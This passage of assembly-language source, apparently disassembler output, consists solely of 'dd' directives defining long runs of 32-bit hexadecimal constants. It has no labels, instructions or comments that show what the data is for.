		dd 33C88F37h, 803B0E3Bh, 1D9B004Ah, 9224F2F8h, 9DE200B7h
		dd 36CE595Eh, 67713C82h, 0B8CF5C00h, 0CB10E885h, 0CBF0E2Bh
		dd 0B12F7369h, 0F2762660h, 0E3001BBBh, 0B28F45F4h, 35672B3h
		dd 64DE4CFBh, 0F000F35Eh, 0C94FF0F6h, 0F8658D7Fh, 0ADB9014Bh
		dd 8C2FC2C1h, 0C8FD31A7h, 1B00E806h, 0B5792E9Dh, 7AAC2Dh
		dd 19152CCh, 78AB4713h,	956AC300h, 6EE9CD03h, 0A0EA0165h
		dd 0FB3B7957h, 0D95DE050h, 0ADD52B0Eh, 8EE98082h, 310A013h
		dd 8389DFDh, 190265C3h,	3DAA9E4Ch, 0BA24480Dh, 0CAA10F73h
		dd 0C60B26Fh, 464C760Ah, 85604700h, 0F9BA744Bh,	0D96500A7h
		dd 28EAA8B9h, 9CEC80C8h, 0C5E30400h, 0CA3EE52Ah, 58CC001Bh
		dd 0F38298B4h, 78E82E3Dh, 0BD51B300h, 0B5351FA7h, 524A1F1Bh
		dd 6D956B7h, 285F9794h,	0C70F39h, 459F054Fh, 0DA813h, 8C98CC2Ah
		dd 0DC04025Eh, 44157400h, 840B81A0h, 482B00F6h,	20473D8Dh
		dd 5300D9B5h, 71467522h, 3AC6912h, 57B6A3C0h, 14F8FB76h
		dd 0B9A89DFFh, 4D38C102h, 9BC88051h, 0D5CA78F1h, 0E6AE1C43h
		dd 0C0BD9D05h, 0E274968Ch, 700A06Ch, 2F1E2C5Dh,	3AE38FFh
		dd 0E737A38Fh, 0B9809E8Ah, 2000AA65h, 478ED634h, 713BC9h
		dd 99A25776h, 10F7E0EDh, 809BF43Bh, 0FE610A32h,	0A4EE1E6h
		dd 0A2B3D68Dh, 0C0F507B1h, 0C1F681BBh, 0C71130B9h, 5EF84273h
		dd 3C711700h, 18250F0Dh, 0A4B00004h, 8D1687E5h,	7D0078AEh
		dd 4CFC4FE6h, 2FF2D8Ah,	91325E24h, 9440D6B1h, 0ED3A5B35h
		dd 804D3BB7h, 1753F9C6h, 0C1BD78h, 0BA64EC92h, 0BF0FE2C9h
		dd 0BE149AC7h, 1263E570h, 4CDEF2FDh, 9141213h, 0C7030C0Ch
		dd 0D7A56CC0h, 0EA1F0800h, 5A79523Fh, 0A0509ADBh, 11B0278h
		dd 5E8BBAACh, 0D08DB9D3h, 0C07298C5h, 0B7004092h, 0AB86739Dh
		dd 7455827Bh, 5CE019Bh,	8735E8C8h, 5D108133h, 7A7CB381h
		dd 0BE9F208Ah, 3DEA0020h, 1418DD75h, 0B0926C0Ch, 0E681BFh
		dd 265E8AACh, 0CDEDFBF1h, 380046E8h, 0B7A3F774h, 0A0E96C24h
		dd 0C3A490h, 0E2565898h, 0DD6D3DD3h, 0AD3FE828h, 66855F7h
		dd 0D05C1B5Ah, 6594BE0Fh, 801D9204h, 57EF5380h,	0DAA009h
		dd 0C735C324h, 7D7E6196h, 49517905h, 0C1C02B2Eh, 58CC8444h
		dd 1E6F5797h, 0A1EAE780h, 0D2004FDBh, 81B057C6h, 0FE8232Bh
		dd 83751C47h, 49A7D760h, 8A4CE2F7h, 0DA690043h,	84D2ED2Dh
		dd 0CE0304E8h, 80C6511Eh, 5F88354Ch, 436A62Bh, 48F06873h
		dd 15E7904h, 0FF0047C4h, 6F10B7C5h, 9400C64Ch, 82F2582Fh
		dd 0F1283F5Fh, 0DC501CEAh, 0D86244ECh, 91342F08h, 9CF03D20h
		dd 3764035Ah, 3804363Fh, 0B66C99E6h, 0C54D5009h, 4DAA3D69h
		dd 0D369ED4Ch, 670C7840h, 21C1A50h, 0BF1089D8h,	5081566Dh
		dd 18A01045h, 86A5360h,	70600442h, 72581065h, 3E81E966h
		dd 816881C9h, 0DEA1C4Ch, 0F01A4EB6h, 5D941808h,	0F7E214A3h
		dd 20704C86h, 78409953h, 718B50A5h, 0B4FCE3h, 0CF397A1Dh
		dd 941BA69Fh, 3A51EF1Fh, 0A116E0A8h, 64407AAh, 5CFC4AABh
		dd 86F50485h, 10E5E9A7h, 0C4A4A0E8h, 0A27D961Dh, 0DC9B2880h
		dd 8822F48h, 0FEA5F49Ah, 70663C40h, 0B0560823h,	0C183FFF3h
		dd 3134BF1Bh, 9E69DA38h, 0C6182493h, 0F5C28218h, 13520648h
		dd 6889F3h, 1EEA39A0h, 9344A718h, 301B7EB7h, 5D1134E0h
		dd 124C775Ah, 3FA0664h,	0C69BE49h, 8701F23Dh, 58008848h
		dd 8F6F1AAh, 1D21B676h,	3DB5E7F0h, 108F0174h, 8435ABD4h
		dd 0F9C83072h, 30B71A24h, 6AD1983h, 0E9081037h,	38EC01F3h
		dd 36EE6B9Eh, 9F24999h,	4233E0F5h, 0B4DBF000h, 9A3DEC94h
		dd 4A5F00D6h, 0FD4CFE68h, 5E00BD37h, 9B8640DBh,	59588B1h
		dd 91060AC5h, 22C421BFh, 2B25C499h, 41FEA402h, 680C52F2h
		dd 2CDF5D8h, 0C48B369Bh, 0E448715Ch, 0B401BE1Bh, 0B8FE72AEh
		dd 283434F4h, 0C3D81EA7h, 6B8EA5Ch, 5BC424E1h, 0B528118Bh
		dd 400D8869h, 80E0BA7Dh, 11A42E8h, 0A19A9CEFh, 465BC3FAh
		dd 0E560E178h, 57E1F308h, 38346054h, 1AC27A6Fh,	0C409DBE4h
		dd 53D456Eh, 10008804h,	0F81EED72h, 37103019h, 38E923A1h
		dd 208ACA1h, 0E03840FAh, 0AB8900F1h, 80E9333Dh,	86024583h
		dd 4BF3B1C0h, 73F90537h, 0AFC0FBA8h, 5C78A028h,	9C796B13h
		dd 2A38A815h, 4002947Ch, 0A4F68CB0h, 46B8948Eh,	0FA0922FDh
		dd 18221F5Eh, 0D3FF1D8Ah, 0AAF8009Dh, 19C6F505h, 0C9A10D06h
		dd 92802DAh, 701AFCA2h,	0FA3C9C21h, 71A443D6h, 800AC3E1h
		dd 553DF7D0h, 75AA5ED7h, 3F683CBDh, 0C5B6F804h,	0FC14806Eh
		dd 0B0E40899h, 0F141EA07h, 0B7005126h, 18F81F9Eh, 6018341Ah
		dd 8232457Eh, 871DC977h, 0A069B5B8h, 1AE172C4h,	8D192AF9h
		dd 9B671F84h, 9AB089EBh, 0D800DC12h, 0DA6F1FBDh, 925219E8h
		dd 2A49848Ch, 735A5B01h, 90510612h, 25F5300Ch, 3742B631h
		dd 2AC3EF32h, 10304EE9h, 44E8CD82h, 0BD14FF88h,	204C3672h
		dd 46F314ECh, 667A6034h, 2987F01Eh, 396CB000h, 0D6823CADh
		dd 77D30040h, 0B5D89669h, 1090DC05h, 88D90360h,	91BBC02h
		dd 559FC142h, 8808D811h, 83375129h, 0D552BDEAh,	0F1703909h
		dd 9B8807D9h, 287588Ah,	0FE4192F4h, 48487B1Ah, 113F00C1h
		dd 991E0C35h, 0A6008F8Bh, 0CC25ADC9h, 1F62759Fh, 3510F4h
		dd 0CB531E7h, 0B000FE6Ah, 238EF534h, 7A28A98Dh,	0FDDD3E1Fh
		dd 18FC2F18h, 0E07F478h, 8D9AD432h, 61DDF980h, 6F0A0F65h
		dd 0FB0121FCh, 0D3419C0Eh, 0B011B5A9h, 39098839h, 10F8606Fh
		dd 0CBA231F9h, 0AE903Ch, 4CFD2588h, 513EBCh, 0EC58B663h
		dd 0C457D51Fh
		dd 0F87C2101h, 0D37B8EFBh, 0F92E01h, 0F8EC37A3h, 30B2FEBEh
		dd 4C181CD2h, 0EF0C3C74h, 811327C8h, 0A0AE018Fh, 15FB5536h
		dd 1C798722h, 0DDA0F4CBh, 0DCF7700Ah, 0CCE34FC1h, 0BDADE481h
		dd 391080E7h, 91485FF5h, 0B4D60F77h, 0B083ED5Ch, 6000F46Fh
		dd 0F34956D9h, 0C63131Eh, 0CFB348AEh, 5E035A51h, 527C390h
		dd 9F8AC070h, 4E060179h, 8D350BBDh, 0F6E04351h,	0E96F5291h
		dd 4470D0B0h, 0C2F91D03h, 63616Ch, 0D97955F0h, 52235C28h
		dd 422BC00h, 8C3239DFh,	0D7ACA8FAh, 0CCCE1F24h,	3F67C0AAh
		dd 1517627Ah, 8068573Fh, 539B0A93h, 693879h, 4B8173B1h
		dd 294EC0E9h, 25A8800h,	0BDB851B3h, 56CF1222h, 530C0C93h
		dd 7A00B4E9h, 0D3066ECh, 29C97F63h, 75042935h, 87EF660h
		dd 0D0D20FFCh, 0B780361Eh, 16067C72h, 9200FE75h, 7B8DC98Ah
		dd 4838FB2Ah, 309A4D0h,	0D90DBA28h, 118FC529h, 0A81238A6h
		dd 89A21410h, 442608FAh, 1084C41Eh, 2807157Ch, 23223CC6h
		dd 40702022h, 99556F00h, 304BFE1Ch, 0EAD300E1h,	0FF665202h
		dd 9B1EB7EFh, 1C40A76Ch, 392CA51h, 4FA200FEh, 160D8F29h
		dd 0AB00A667h, 1D1BAFA5h, 0D982CBh, 70A9AA32h, 91D14424h
		dd 3D9680F9h, 5822D675h, 0E67E00C9h, 8FC5CBAAh,	8E0039B9h
		dd 0AFE11779h, 0B88C54h, 614CB70Bh, 0BE9804C5h,	1003B101h
		dd 0B0F77FB5h, 0C8C3E0h, 0D442E351h, 3C76607Eh,	92618100h
		dd 3138058Bh, 0B5FC0082h, 0F56F5BA4h, 2A0516E1h, 8C8D5F02h
		dd 568AD840h, 0EA064BAEh, 0EAD60036h, 2A27DBE8h, 78C0353Eh
		dd 0B9B18BDh, 0A3300A2h, 0F109EADh, 0CB02C378h,	0FC443F61h
		dd 48F9C07Eh, 0CA0D0E97h, 8C3EA716h, 5978DF39h,	70C8F230h
		dd 1FFD4144h, 4158E2A2h, 6C3D8475h, 6D3CD040h, 0DFEF3F00h
		dd 358A4DF0h, 129EEA2h,	0A34F4AD1h, 0F434254Bh,	8AEAD8EDh
		dd 0B9FE5900h, 5310D627h, 187500CAh, 4CB3A34Eh,	450031B0h
		dd 0C036620h, 0EAC5E030h, 3E0E0A85h, 794ACBBh, 0B37CD873h
		dd 53E80C71h, 31F8456Bh, 49771800h, 8826476Ch, 647FBBh
		dd 0DEA5B212h, 5EB09F4Ah, 0C5BD0700h, 7CDB207Eh, 68800A6h
		dd 1C5C543Ch, 773F160Ch, 7C48E2h, 28859EB8h, 7C98C8h, 0CF14819Bh
		dd 6C08C2D9h, 3A8DD600h, 47683C43h, 0EEB60096h,	853F6EF3h
		dd 7000982h, 8977FB53h,	9D8CD8Ch, 308F5BE6h, 0A0642C00h
		dd 0D500D122h, 16694CEAh, 0A6C5F6h, 1F272508h, 0B1183B3Fh
		dd 367AF900h, 0B6C4501Bh, 55A900EDh, 0E34E14E8h, 15001148h
		dd 6E5F4172h, 0FBC043h,	9367C80Bh, 0B26AA2F8h, 7FC80D62h
		dd 0EED881EAh, 0D050F777h, 0FEE57BF0h, 72190063h, 9E0C6ECBh
		dd 4D007E51h, 969894A3h, 0FC4ADE7h, 95E571BCh, 0CB39260h
		dd 0EB0B4614h, 823A66h,	40A05B4Ah, 0DE2D01BBh, 0F75FB593h
		dd 0EC99E82Fh, 7DD20600h, 0A3E5173h, 17880134h,	0EE68CCDCh
		dd 465EC80Bh, 4C8D2707h, 0D89CC685h, 7BB1002Bh,	6ACF3B22h
		dd 4F172376h, 360052A7h, 815DC8FCh, 0B2700D5h, 0DCF7229Fh
		dd 6E261DF2h, 0A803602Fh, 90F5B9BBh, 0ED4184h, 7C81E350h
		dd 13AAFC22h, 8F4D903Ch, 2B718CAh, 7FF9AE47h, 2E6A0981h
		dd 0C3B2ECB6h, 8E73600Eh, 0E21D017Dh, 0B02B4AC8h, 6800D669h
		dd 27A88341h, 93FBEF8h,	0AE5E69CAh, 8C145380h, 0D8006D92h
		dd 8E877E3Bh, 7402DC61h, 27DF07C8h, 0AEED4CB1h,	0C5995F60h
		dd 69009EE3h, 5631ABF5h, 7D24DAC3h, 11D300C1h, 0ADF05B2h
		dd 0DC000701h, 90755523h, 1BDB951h, 0C0D1AFAEh,	0E421886Eh
		dd 191CADFDh, 0F246EEE5h, 0B0CB5Fh, 0DFFA50B4h,	0E892823Eh
		dd 1B80D709h, 0A0420089h, 1756078h, 366FAF97h, 0FF18FE85h
		dd 607927A9h, 0A0004AABh, 61AF8DEDh, 120AC341h,	0BC3958FBh
		dd 922E00C4h, 0BEB7DAEEh, 0E3180086h, 0C819E2FEh, 2900961Fh
		dd 22FA16F3h, 3984D62h,	3CC397B2h, 6FE9F2D2h, 55CE408Ah
		dd 0EE1D0161h, 8D40603Bh, 0F7A79D6Bh, 441058FBh, 9BD51700h
		dd 6F93875Ch, 0C0AF3B00h, 7F2AC603h, 97A317D6h,	194900ECh
		dd 83808B9Fh, 9DA1260Bh, 0C79280C1h, 0EAAE2Fh, 44B981Bh
		dd 0F817CD53h, 0FD489700h, 18453E6Bh, 0F9630A37h, 0BC2281h
		dd 7BB98C1Bh, 0B26902h,	7FDC300h, 33F3D10Eh, 0DD19005Ch
		dd 7311B2B1h, 5B1DF99Fh, 3083EC72h, 0A04533DCh,	6027C1CFh
		dd 5B3941FFh, 0B50001FAh, 2D8D0268h, 339A6Ah, 49FF0D2Fh
		dd 1677DE2Ch, 4D4FF0C1h, 64D8A460h, 389C39D8h, 826DAA80h
		dd 0F10A4094h, 0E316C302h, 0E0112B9Dh, 0CBA8D9h, 0DFF83835h
		dd 3436B558h, 342744Ch,	0AD21FAACh, 85F004FBh, 6846A6F2h
		dd 0AC7A12AAh, 0F82417B7h, 4B4F00ADh, 11A428E4h, 93D4008Ch
		dd 5CC79C03h, 5B003C8Fh, 150F7F02h, 1E05D90Ah, 83312454h
		dd 0A9EF8E1Ah, 4B550E88h, 0F32358h, 0E14C5B66h,	3ADFE9Dh
		dd 0C84DD5B7h, 0C9A0FD60h, 2F00349Bh, 875A093Eh, 75D91A5Bh
		dd 6879148Bh, 84168C7Ch, 69E0009Dh, 123BD1FBh, 0B2292C00h
		dd 82FDCFEh, 0BC8B2E5h,	434FD764h, 0AD6DD010h, 9F076E00h
		dd 3EF84A84h, 4C74BA12h, 0EB0F46CFh, 0EC7F626h,	66E371A2h
		dd 2F2183D3h, 0E94361B2h, 0AAC3196Ch, 58686006h, 0A934003Bh
		dd 29DBFA09h, 0EE00F81Dh, 6408F0D7h, 0E0E41432h, 0EC9F7E6Ah
		dd 0F2360058h, 13118DF6h, 0BE00E851h, 21CE5DB9h, 0C07552h
		dd 6033044Dh, 0B7733890h, 0CD186900h, 6B2EA492h, 0B64C3F67h
		dd 366AED00h, 0E4F9B39Dh, 0FBAB9100h, 0C02622F8h, 807C00CAh
		dd 4CC3832h, 0F926956Ah, 5C01845Eh, 2DAF0945h, 0C438C06Fh
		dd 0BA3F964Eh, 8ECC8036h, 0A666CDF3h, 1E2A008Ch, 776F12E9h
		dd 1D00FE31h, 0E45B58B2h, 240E7DAh, 0C07D9023h,	2C61EC61h
		dd 7013FC0Ah, 0C63D00BAh, 0E62D005Eh, 0C452D661h, 714C0015h
		dd 0FFED64BAh, 0C52E489Dh, 3200A67Dh, 0A62ADA1Ch, 0A067E93h
		dd 0F7D960F5h, 0CCCF80CCh, 0EB7F25E3h, 0B903581Ch, 0FFEE2BC0h
		dd 68ABE16h, 6239446Fh,	780340F0h, 0B549CE7Eh, 6A5FB2B9h
		dd 90304BB0h, 24A47B2Ch, 80F731h, 0EA267305h, 7D000DF9h
		dd 94B3938Bh, 98B85Fh, 0DCBFDF25h, 145BF001h, 0FEB13507h
		dd 0CB917707h, 0A2209262h, 36F6002Ah, 0C6CAABE7h, 99008F96h
		dd 5BFF603Dh, 736C95h, 863D60Bh, 9E82274h, 613D8370h, 0A2CC8018h
		dd 75448823h, 0D30B00F5h, 0EEE314C1h, 0AD02D49Bh, 8CE49AE1h
		dd 0C05045h, 0E7F93BCCh, 4C25C7D0h, 62418605h, 0E8C02A36h
		dd 721099B6h, 59010EECh, 95C16A5Bh, 705E426Eh, 9709FFF0h
		dd 81D91B4Ah, 202F8850h, 3CB85980h, 0A23B303Dh,	0D058A16h
		dd 553FC800h, 0FA579Ah,	0C15B56B8h, 0D63A2F8Bh,	55F9103h
		dd 0F15CD34Ch, 9147999Fh, 0C0AEEA12h, 10471D4h,	0EF7EAB87h
		dd 30479370h, 6A005912h, 1035CF16h, 1CC78CE0h, 0D99EA6h
		dd 0C0F2A1C4h, 0D3001BE3h, 0AD0B6E08h, 7ADA52BEh, 0CE003D7h
		dd 0FCFD462h, 47DDB01Dh, 8C88481h, 0F4701B09h, 0E8B2008Eh
		dd 0C9D2F8B8h, 7401D08Ch, 5F6F36ABh, 63703727h,	0FA52F4C2h
		dd 0B67500C8h, 3A60DC9Ah, 0C0008718h, 865DA9C6h, 0DEFEABh
		dd 9CA25BAEh, 0D7BC9846h, 0B00109E0h, 0A00C534Eh, 0BD8EE11h
		dd 90890049h, 109F9C2Ch, 8558970Dh, 185E1FFCh, 8EC25500h
		dd 8399EEh, 4FB2D45Ch, 8FB8F6DFh, 0AE0232E4h, 912FBD94h
		dd 0FC9CC8B7h, 0DFE400DCh, 0DEA7061Eh, 577FAE6h, 0B400BE71h
		dd 157D098Ch, 1E03F2Fh,	0ACCED6FBh, 70CBB690h, 33037178h
		dd 0BB845A4h, 3D6FE09Ah, 3875071Ch, 0D00F1584h,	0FAFD3CE9h
		dd 0C1003B7Fh, 0D869D107h, 1DCD7Bh, 77F3DEDAh, 0A43937ABh
		dd 5B03257Eh, 0EE995A0Ah, 0C03C98BDh, 387289h, 0A77C09B4h
		dd 0C601C787h, 1714E20Fh, 2745612Dh, 0B8C75E08h, 0F78042h
		dd 57E7DB33h, 0E2EA5FDCh, 8E29AD07h, 0CE80246Fh, 0B892D2h
		dd 0E8D63520h, 6A070C5Ch, 1E42DB1Ch, 0C4EA9B40h, 727F05h
		dd 54C12DCEh, 4FE7E0FFh, 86FEFA00h, 3022F7CAh, 0E40C0FF5h
		dd 40D38E3Dh, 0F2E3A0DBh, 0C3032009h, 4C9F05DEh, 33E0A754h
		dd 84689Ch, 5CAA1E5Bh, 0CF1755BAh, 83453800h, 16B77CD6h
		dd 85F80948h, 9443DB36h, 6027B2A9h, 0AB2679D4h,	5B004141h
		dd 0B7BD9BDCh, 8B8F00D4h, 0ECA64C0Eh, 8700E449h, 0E165999Eh
		dd 0B97402h, 81489C84h,	0D7868A47h, 93155000h, 0C19AF130h
		dd 0F56C0187h, 0AD23302h, 0E0802078h, 0ED2B550Fh, 24BCC017h
		dd 523901Bh, 1D1AFA4Eh,	9B4882C7h, 660B2452h, 2037E830h
		dd 0B0FF9D5Ch, 28E50088h, 0CAC65D29h, 5C3D58E4h, 80573CF6h
		dd 37E6EAF5h, 0BF12C1h,	0FD03290Ch, 3140B391h, 73506C00h
		dd 6B84FB4Dh, 1E7C10h, 0B9A3E62Eh, 29AA26DCh, 34F07CB0h
		dd 0C118A200h, 537A6FD4h, 11232777h, 0DF500D00h, 0D4E534B6h
		dd 4118D02Ah, 29221620h, 3D87007h, 0F278DAF1h, 1780E589h
		dd 5F005ED1h, 37D9E7AAh, 213EDDh, 0C3B90EC2h, 3659C823h
		dd 0BAE59700h, 50053526h, 0F03D001Ch, 644AD371h, 0F705256Dh
		dd 518413FEh, 0BFA47890h, 0B61900B5h, 6CF1ECA8h, 81057E16h
		dd 5759D03Eh, 0CD8FA200h, 0A78314h, 0DE05BA43h,	3A7645A9h
		dd 0DD23F20Bh, 1A7080BFh, 2CE90415h, 27842CDh, 6F7A4062h
		dd 8000FC51h, 79EAD01Dh, 767802F7h, 44320B87h, 7026B0E4h
		dd 0E30198CCh, 14F5369Ch, 8C07B007h, 630949C6h,	8E276A77h
		dd 2D3160D8h, 818EA0A2h, 9378E060h, 0AA0C80F4h,	4106510Fh
		dd 0B9F1027Ah, 3D09F7DAh, 0C54E0078h, 620CC472h, 3480C085h
		dd 5B8E008Ah, 0DEA4EE0Eh, 1A0C93E7h, 202A2D1Ch,	764300B4h
		dd 9B265A2h, 94396DAEh,	53848034h, 2275666Ah, 0DCCB0717h
		dd 50B7CD70h, 547FC9F6h, 0DA6DEC30h, 3A9DBB69h,	91894306h
		dd 1FF7BA8h, 0E09E6797h, 5140D8h, 1C016AE3h, 0E7F60649h
		dd 76239600h, 0BA4E55B3h, 0C8B40009h, 0B21A205Ch, 0F70224D8h
		dd 159C6F59h, 60EC802Bh, 10D51F2h, 25F8DC72h, 403A3829h
		dd 6BC634DAh, 9700E773h, 0C37F5101h, 0A1870Fh, 1181949Bh
		dd 792FBE21h, 0CC2B5C00h, 151930F6h, 0EC46502Ah, 0EEDC23DEh
		dd 0C83FBE00h, 7D1C6F4h, 0CCC5A732h, 29534098h,	7B0BCECDh
		dd 838EC7B4h, 8C1C2420h, 6FB7C490h, 181EB00Dh, 209F8B53h
		dd 63002523h, 0FE58FCC1h, 25E94998h, 0C8ABAD1h,	232CA1h
		dd 8E9E4D87h, 2E0005E5h, 97447880h, 2A660CE9h, 90B2DCh
		dd 2D571C70h, 17471F40h, 5B918B0Eh, 0C662804Dh,	92D9A2h
		dd 78DF5430h, 3F0BBAABh, 0EB1F2004h, 8C809748h,	0ADC1A5h
		dd 5468A3B3h, 0E7FFCAF1h, 0E2247D00h, 3834AF9Bh, 6C88010Fh
		dd 5A758451h, 0E5E0ECD8h, 11DDE02h, 60EA52A8h, 3055C8h
		dd 4C263CFh, 7107D99Fh,	974CE90Eh, 6D2600B7h, 0E92F38Dh
		dd 7D180DD3h, 0C18C6A60h, 20FA89EFh, 0F09E0400h, 8497E31Dh
		dd 6EE700DCh, 6DE8DBF1h, 0E9501EF6h, 8B0C2C0Ch,	89B1AD5h
		dd 0E820E24h, 842C52CAh, 47A8660h, 340FD700h, 0E79C308Eh
		dd 0A5BB3149h, 9E744A80h, 40629E10h, 7CE02A44h,	2030ED30h
		dd 0C0BC1712h, 0E45C6AB1h, 440C0D77h, 580768EDh, 51C70E3Ch
		dd 718345A0h, 0AB00374h, 98002BA4h, 0F4BB24B2h,	0FB043CEh
		dd 8FF6A593h, 0AA03C3FCh, 28007D5Ah, 2FE3FD99h,	7A02522h
		dd 9F154947h, 236F8091h, 51C0CFE1h, 0B4FF4F4Eh,	871E093Fh
		dd 15003552h, 12B2F84Ch, 50366500h, 866E47EAh, 8C2000FFh
		dd 0BDDDE174h, 5800FD9Fh, 42CCDFB3h, 64301Ch, 0C3130480h
		dd 875E270Dh, 0E77E4100h, 363592A1h, 7BBF174Fh,	27480F42h
		dd 1E150220h, 3A1D695Bh, 7002846h, 6D84A829h, 6A7E00FCh
		dd 0C6138D1Bh, 0F100964Bh, 2ECEE3C4h, 0CAAF68F9h, 0FC0499C1h
		dd 11E75730h, 0B73E79h,	562ED65Dh, 44A877F2h, 0AE0F7C74h
		dd 81DE1026h, 407243D4h, 0F87573F8h, 0DA333EEAh, 42BF9A07h
		dd 590FF69Eh, 7681EB06h, 11505C26h, 3784A4Eh, 454C3C01h
		dd 92805A3h, 4092EEh, 8A4EC8B0h, 0A200549Dh, 1A946EC3h
		dd 61BA3CDh, 0AFB30EE4h, 3178B9C9h, 2CBD60A0h, 76ECF883h
		dd 0D019C0CAh, 1A1ED6C8h, 0A277E21Fh, 0C470A394h, 6D009427h
		dd 6E8F8485h, 0F88B4C00h, 43D7573Eh, 97E9DC98h,	2EF0175h
		dd 0D7014E2Fh, 82704DB9h, 52E4CD69h, 0FD4CB0A2h, 0A8D601E7h
		dd 0CA2AFF51h, 0A00E6F3h, 5276E085h, 0C7D9478h,	0DF3F4ED6h
		dd 7F1BF7A8h, 0E738A0B6h, 151998D6h, 0DC357E79h, 6E4C2A05h
		dd 0F7940FC8h, 308612E6h, 748D502h, 0A096AE3Ch,	0A28DD9D8h
		dd 0EA60B02Bh, 0A9CC6053h, 463FEB79h, 0A0052303h, 303D182Fh
		dd 0C213C08h, 0E1283FE2h, 0F405D11Fh, 549BC622h, 40C1741Eh
		dd 0C274DF85h, 0A018AC45h, 0C065670h, 12CBE67Ah, 0AC019A10h
		dd 7C422410h, 52CC2B5Ah, 0C484A801h, 0D6612C46h, 7AF17E9h
		dd 46AC6F1Ch, 0B2A021C7h, 72006160h, 84749E68h,	0E6A41DE7h
		dd 0F087614Eh, 0DC099BE9h, 10C1AEEAh, 0EF405BC8h, 3DD0D30h
		dd 0D4F233DCh, 82D8EB97h, 7B0028A3h, 9C9546BCh,	0E6B5F1h
		dd 0D92325DCh, 6C051493h, 0EE38BF00h, 0DDAEC248h, 0A20D00B8h
		dd 18BEB93Dh, 9C00F83Ch, 7B4AF49Dh, 2138B5h, 328AFC26h
		dd 2C8C24Ch, 13330B0Bh,	6898005h, 86E26Bh, 8F2F1053h, 0B578960Fh
		dd 0AA7409E4h, 2B004AE6h, 9238BBABh, 214FEh, 93482265h
		dd 0E6312D25h, 90CB4E2h, 30B262BFh, 3C1F67Bh, 61C47F71h
		dd 0A3B00CCEh, 89017767h, 0B7198CE2h, 0A087548Bh, 0C71EE909h
		dd 3C8210F3h, 630FC105h, 0E16FCDD9h, 0C8698D5Eh, 8B1EA8BEh
		dd 0C3EADDE5h, 0B302BB3Eh, 873B1900h, 78ADD199h, 150C47Ch
		dd 7F230140h, 0A36147BAh, 6BBD66F0h, 670018F0h,	53F52E41h
		dd 67EE3E00h, 73ECBB0Fh, 0DCD5300Dh, 0B6164AD0h, 5FE688h
		dd 0A17841BAh, 306DBEAAh, 580AB077h, 94CA0968h,	899F9080h
		dd 142D73D7h, 882E7B0Dh, 40069E85h, 0C45028C8h,	2FA4BB1h
		dd 81A0473Ah, 63F529CFh, 8B60C970h, 0A706001Ah,	7E266536h
		dd 1B008399h, 0C8B5716Ch, 79646745h, 98C20028h,	23790F3Ah
		dd 0F500E4D0h, 1F928F7Ch, 15EC8Ch, 0D444CDBEh, 79175010h
		dd 577AB90Fh, 0EF580085h, 0C249CCh, 4BEC39C5h, 7F1F3BCDh
		dd 5072FF7Eh, 16C6D000h, 7600AEFh, 0EB7B07E6h, 405E98AEh
		dd 7A1E9D6Fh, 8A9C2500h, 0C848643Dh, 261C0115h,	8D3EA790h
		dd 0E160E005h, 838F7801h, 4BC97279h, 3FB40970h,	5A00E5BCh
		dd 46E2DF84h, 0C3004570h, 0FE26113Eh, 7650A5h, 0A3572BDDh
		dd 70106119h, 0C9C6D80Eh, 34E92085h, 3785AB1h, 0EC83B351h
		dd 46F84E50h, 0C500C12Eh, 0E360C7A6h, 1ECC8BBCh, 80357B13h
		dd 9EA57C1Ch, 62035210h, 0E5A438Ah, 98F5981Eh, 571B3A91h
		dd 2DC8B283h, 8EC016B9h, 0B6009E07h, 900A701Ah,	0F8ABACAEh
		dd 39961E1Fh, 88C8CC3Eh, 4B458229h, 9311ACE1h, 62A31197h
		dd 11B4A611h
		dd 4712AB45h, 8963E810h, 7428476Ah, 41DB48A4h, 2448220h
		dd 0F314826Eh, 89AF22A6h, 0D2224D24h, 40215510h, 8844A38Bh
		dd 36AF4428h, 44E74A44h, 1084971Bh, 30193DF6h, 311051BAh
		dd 0A3FB2482h, 0BC83008Fh, 5EF569ADh, 0D044D40Eh, 791660A5h
		dd 14FD605h, 0CAB6C277h, 0C0459394h, 0E30F6D87h, 0E1CE1A38h
		dd 0AD0ABB0h, 0F1CCF03Ah, 6A06B600h, 77EC1DEBh,	0A21A00E2h
		dd 0C736F0B9h, 38002F86h, 16AE0FD2h, 95D8A6h, 787B087Ah
		dd 1FF385E7h, 8A17ED1Fh, 0A2A31A87h, 0C7BE7590h, 69F0F6h
		dd 855AA512h, 0EFD0D204h, 27D9730h, 48C86FDFh, 900EB470h
		dd 4963EA14h, 4B8818F7h, 7B004651h, 6631D797h, 0A809C4h
		dd 996E1A04h, 0B85CEE78h, 0AB6C8300h, 3DC4722Eh, 2DDB00BAh
		dd 0B99539D8h, 0D03B3EEh, 0FD34DEA0h, 0B4683C1h, 77C96818h
		dd 8D7A601h, 8F67FC7Eh,	6E19BC03h, 0BB8C15A2h, 0B870A0CFh
		dd 9C6A0E7Dh, 0B50002A7h, 0E150417Fh, 84BC4200h, 0F48D7AEh
		dd 63909Dh, 68F58B1h, 4C7A8CEh,	920093E4h, 77620812h, 209E1Ah
		dd 0A75BD3EDh, 2C72C1CEh, 0F79A9B01h, 1F88786Eh, 0C085A0F0h
		dd 29B5EB09h, 6201E069h, 37327DD3h, 83E40890h, 0AE60050h
		dd 0D12B1A9Ch, 0D0F7077Bh, 7758FA37h, 0EF0C0358h, 0E87124B2h
		dd 0BBCEBA4h, 7CD3530Ah, 0B5E34700h, 2F79B917h,	8E752E00h
		dd 8D6B7FC1h, 35F200E6h, 0CD51717Ah, 4500493Fh,	0FEAE194Dh
		dd 1E172A1Ch, 0FF68F329h, 0C8E53481h, 0D4B0EF4Ch, 86038CF7h
		dd 0BCD925D2h, 931D9045h, 6F66001Ah, 0B78B6C85h, 5B0042D5h
		dd 23C38EFFh, 63D9C6h, 15840E3Fh, 6BED56A5h, 0B77B5A00h
		dd 66526A47h, 10AB0316h, 28434EC6h, 68E31BF0h, 0D4B3E600h
		dd 9D2DD9CCh, 0C93F0027h, 82A56C76h, 0A300A63Dh, 0A93736C3h
		dd 0C775ACh, 0BE30F9Fh,	488544E1h, 7D2C711Fh, 2DBEE00h
		dd 3E708BC9h, 3FF1A37h,	0D1DD2688h, 0C5C83C2Bh,	7D00B2E2h
		dd 2C783069h, 18CB8FADh, 0F0C4A4CDh, 0AF0095C6h, 0AA9F758Eh
		dd 0CE8331DCh, 65EC4E61h, 0A600FC81h, 0B22A364Ah, 0ECB856E8h
		dd 0F1530002h, 0A3C7B98Fh, 3C002E5Dh, 5C8ABE9Ch, 849979h
		dd 18F990E8h, 0BCF34F15h, 9AABF0A0h, 80C3B53Ch,	4DFAE9C4h
